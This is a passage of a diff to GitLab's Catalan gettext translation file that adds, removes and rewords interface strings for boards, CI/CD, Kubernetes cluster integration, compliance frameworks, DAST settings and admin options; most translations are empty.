msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr "Tasques"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Node actual"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Personalitza els colors"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Selector de data"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "No ho mostris més"
msgid "Done"
msgstr "Fet"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Baixa"
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
